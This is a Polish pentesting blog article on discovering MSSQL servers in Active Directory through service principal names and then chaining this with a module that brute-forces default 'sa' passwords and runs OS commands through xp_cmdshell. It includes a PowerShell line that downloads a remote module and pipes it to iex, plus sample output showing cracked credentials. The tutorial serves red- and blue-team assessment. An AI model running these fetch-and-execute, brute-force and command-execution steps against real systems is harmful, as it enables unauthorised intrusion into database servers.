Powershell spotyka Microsoft SQL Server - Atakowanie na skalę
Podsumowanie
Blue teamowcy, administratorzy, bezpiecznicy, defenderzy - jeśli chcecie utrudnić życie pentesterom czy innym hakerom, wykonajcie poniższe polecenie i wykonujcie je cyklicznie.
A Wy pentesterzy, red teamowcy, hakerzy - jeśli chcecie sięgnąć po nisko wiszące owoce i dać mata w trzech ruchach, niech ten two-liner również zagości na stałe w Waszym arsenale.
Obie grupy z wynikami będą dobrze wiedziały co zrobić.
(new-object net.webclient).downloadstring("https://raw.githubusercontent.com/aptmasterclass/powershell-kungfu/master/mssql/MSSQLKungFu.psm1") | iex
Invoke-MSSQLSPNSearchBruteAndExec -Command whoami
Oczywiście przed uruchomieniem, przeanalizujcie zawartość zbiorczego modułu MSSQLKungFu.psm1
W wynikiu działania tego skryptu w środowisku domenowym, odnalezione zostaną instancje usługi MSSQL, następnie sprawdzone zostanie kilka oczywistych haseł i tam gdzie zadziałają, zostanie uruchomione polecenie wyświetlające użytkownika, z którego uruchomiona jest usługa.
Słowem wstępu
W artykule odnośnie poszukiwania haseł MSSQL dla użytkownika sa zobaczyliśmy jak dokumentacja producentów oprogramowania może nam pomóc w odnalezieniu tych cennych credentiali. W kolejnym, dotyczącym uruchamiania poleceń w systemie operacyjnym, wykorzystaliśmy poświadczenia superadmina bazy Microsoft SQL Server oraz fakt istnienia procedury xp_cmdshell
do uruchomienia dowolnego polecenia w systemie operacyjnym. Nie powstrzymał nas bynajmniej fakt, że z reguły ta procedura jest wyłączona.
Żeby jednak skorzystać z tego wszystkiego, musimy mieć wiedzę, gdzie te usługi się znajdują.
Microsoft SQL serwerki, gdzie jesteście?
Chyba pierwszy pomysł, który przychodzi do głowy, kiedy myślimy o szukaniu jakiejś usługi w sieci, to skanowanie portów. Microsoft SQL Server zwyczajowo nasłuchuje na porcie 1433, jednak nie jest to regułą.
W przypadku niewielkich sieci nie jest to złym pomysłem, natomiast jeśli pomyślimy sobie o dużych organizacjach, które mają dziesiątki podsieci albo chociaż jedną, ale konkretną w stylu 10.0.0.0/8 czy nawet 192.168.0.0/16, skanowanie portów może chwilę potrwać.
Co więc w przypadku dużych organizacji, gdzie standardem jest Active Directory, by to wszystko ogarnąć? Mamy jakieś alternatywy? Oczywiście. Słowo (a raczej słowa) klucz to Service Principal Names. Nie wdając się jakoś super głęboko w szczegóły, kluczowe kwestie z powyższej dokumentacji Microsoftu:
A service principal name (SPN) is a unique identifier of a service instance.
[…]
If you install multiple instances of a service on computers throughout a forest, each instance must have its own SPN. A given service instance can have multiple SPNs if there are multiple names that clients might use for authentication. For example, an SPN always includes the name of the host computer on which the service instance is running, so a service instance might register an SPN for each name or alias of its host.
Dodatkowo format SPN wygląda następująco:
<service class>/<host>:<port>/<service name>
I ostatnia istotna rzecz z dokumentacji Microsoftu odnośnie MSSQL i SPN:
When an instance of the SQL Server Database Engine starts, SQL Server tries to register the SPN for the SQL Server service. When the instance is stopped, SQL Server tries to unregister the SPN. For a TCP/IP connection the SPN is registered in the format MSSQLSvc/<FQDN>:<tcpport>.Both named instances and the default instance are registered as MSSQLSvc, relying on the <tcpport> value to differentiate the instances.
Upraszczając to dość mocno, kiedy jakaś usługa w środowisku AD uruchamia się (w szczególności mówimy o serwerach MSSQL), rejestruje swój Service Principal Name (SPN), by mogła zostać odnaleziona. A skoro może zostać odnaleziona.. możemy ją odnaleźć. Żeby coś odnaleźć, trzeba wiedzieć czego się szuka. To co nas interesuje już między wierszami zostało wskazane, interesują nas SPN’y w klasie MSSQLSvc, czyli MSSQLSvc/*.
W poszukiwaniu MSSQLSvc/*
Pierwszym sposobem jest skorzystanie z Active Directory Service Interfaces - w skrócie ADSI. Jest to zestaw interfejsów COM, który umożliwia łatwy dostęp do usług katalogowych. Skorzystać z niego możemy bardzo prosto dzięki dotnetowej klasie DirectoryEntry reprezentującej węzeł lub obiekt AD oraz DirectorySearcher pozwalającej AD przeszukiwać.
I tutaj ciekawostka, by stworzyć nowy obiekt przeszukujący AD moglibyśmy napisać:
$domain = New-Object System.DirectoryServices.DirectoryEntry("")
$searcher = New-Object System.DirectoryServices.DirectorySearcher($domain)
Możemy jednak skorzystać z akceleratorów typów Powershella, konkretnie:
- System.DirectoryServices.DirectoryEntry → [ADSI]
- System.DirectoryServices.DirectorySearcher → [ADSISearcher]
i skrócić to do:
$searcher = [ADSISearcher]([ADSI]"")
Plan zatem jest następujący, wyszukujemy obiekty, które w servicePrincipalName zawierają ciąg MSSQLSvc, w tak znalazionych obiektach pobieramy wszystkie SPN’y, wyciągając jednak te dotyczące MSSQL. Z wyników wyodbrębniamy nazwę hosta z potencjalnym portem. W realizacji, może to wyglądać tak:
$spns = @()
$s = [ADSISearcher]([ADSI]"")
$s.filter = "(servicePrincipalName=MSSQLSvc/*)"
$s.FindAll() | % {
$_.GetDirectoryEntry().servicePrincipalName -match "MSSQL"|% {
$spns += $_.Split("/")[1]
}
}
$spns
Po uruchomieniu tego powinniśmy dostać listę zarejestrowanych instancji MSSQL. Z taką listą możemy wrócić do wcześniej omawianego Invoke-MSSQLBrute.ps1 by sprawdzić hasła.
A czy można krócej? Oczywiście.
Moc zaklęta w SetSPN.EXE
setspn.exe
to windowsowe narzędzie, dzięki któremu możemy dokonywać różnych operacji na rejestracjach SPN w domenie - dodawanie, usuwanie, przeglądanie. No właśnie, przeglądanie. Dzięki opcji -Q możemy odnaleźć interesujące nas, zarejestrowane usługi na różnych hostach. Np, żeby wylistować wszystkie usługi na wszystkich hostach (myślę, że to dobry pomysł na jedno z pierwszych poleceń na przejętej maszynie w AD podczas red teamingu), wystarczy na komputerze w domenie uruchomić:
setspn -Q */*
Oczywiście warto to od razu przekierować do pliku - w zależności od wielkości domeny wyników może być naprawdę sporo. I to zaledwie w kilka sekund. Wracając do usług, które nas szczególnie interesują czyli MSSQL, żeby w mgnieniu oka zdobyć ich listę, możemy wykonać polecenie:
setspn -Q MSSQLSvc/*
Ma sens, prawda? W wyniku tego polecenia setspn.exe
wyświetli nam wszystkie usługi na hostach, na których jedną z nich jest MSSQL, musimy zatem przefiltrować to trochę, a skoro w tytule artykułu jest Powershel…
(setspn -Q MSSQLSvc/*) -match "MSSQL" | % { $_.Trim() }
Ostatnia, kosmetyczna rzecz, którą warto zrobić, to usunięcie domyślnego portu 1433 z adresów i pozbycie się duplikatów.
(setspn -Q MSSQLSvc/*) -match "MSSQL" | % { $_.Trim() -Replace ':1433','' } | Get-Unique
Funkcja, która potrafi skorzystać z obu sposobów znajduje się na Invoke-MSSQLSPNSearch.ps1. Przyjmuje ona tylko jeden parametr, który określa sposób w jaki szuka usług:
-
-Method - metoda poszukiwania usług
Powershell - pierszy sposób czyli z wykorzystaniem Powershella i ADSIsetspn - wykorzystanie polecenia
setspn.exe
A zatem, żeby odnaleźć w komputerze w środowisku domenowym zarejestrowane usługi MSSQL, można wykonać jedno z poleceń:
Invoke-MSSQLSPNSearch
Invoke-MSSQLSPNSearch -Method Powershell
Invoke-MSSQLSPNSearch -Method setspn
A teraz, jeśli przypomnimy sobie dwa wcześniejsze wpisy, które spowodowały powstanie Invoke-MSSQLExec.ps1 oraz Invoke-MSSQLExec.ps1, to możemy uruchomić takie combo:
Invoke-MSSQLSPNSearch | Invoke-MSSQLBrute | Invoke-MSSQLExec -Command whoami
Jeśli ciągle jest za dużo pisania, przygotowałem funkcję, która spaja wszystko w jedno polecenie i teraz, by zobaczyć jak jest źle lub jak jest dobrze (zawsze to kwestia perspektywy), wystarczy po wcześniejszym zaimportowaniu zbiorczego modułu, w którym znajdują się wszystkie utworzone w tym cyklu funkcje MSSQLKungFu.psm1 uruchomić funkcję Invoke-MSSQLSpnSearchBruteAndExec, co może wyglądać jak poniżej.
PS C:\> Invoke-MSSQLSPNSearchBruteAndExec | ft
Host User Password Command Output
---- ---- -------- ------- ------
2012r2.alphacorp.ad sa P@ssw0rd whoami nt authority\syst...
piotrpc.alphacorp.ad sa Comarch!2011 whoami nt authority\syst...
PS C:\>
I tyle. Podsumowanie czytaliście już na początku. :)
Jestem bardzo ciekaw na ilu MSSQL’ach udało Wam się uruchomić polecenie w swoich organizacjach w ten sposób - dajcie proszę znać w komentarzach.
Red team vs Blue team
- Rzućcie okiem na Red vs Blue z wpisu o domyślnych hasłach
- Rzućcie okiem na Red vs Blue z wpisu o wykorzystaniu xp_cmdshell
- Miejcie pod ręką moduł MSSQLKungFu.psm1 ew. jego odpowiedniki w postaci chociażby przećwiczonego wykorzystania modułów Metsploita
- SPN SPN'em, ale nie wszystkie instancje się rejestrują, więc warto również poszukać ręcznie usług na portach 1433 i okolicznych
- Rzućcie okiem na Red vs Blue z wpisu o domyślnych hasłach
- Rzućcie okiem na Red vs Blue z wpisu o wykorzystaniu xp_cmdshell
- Uruchamiajcie (po wcześniejszym zweryfikowaniu źródeł) co jakiś czas (np. raz w tygodniu, raz w miesiącu) funkcję Invoke-MSSQLSPNSearchBruteAndExec z modułu MSSQLKungFu.psm1 - z doświadczenia wiem, że od czasu do czasu tego typu usługi powstają w najmniej spodziewanych miejscach, zagrażając całej organizacji
* * *
Uważam, że każdy zespół red i blue powinien temat MSSQL'a mieć dobrze przerobiony - vide podsumowanie na początku. Jeśli również tak uważasz, będzie mi miło jeśli wyślesz ten artykuł innym lub udostępnisz go na Facebooku, LinkedIn i Twitterze.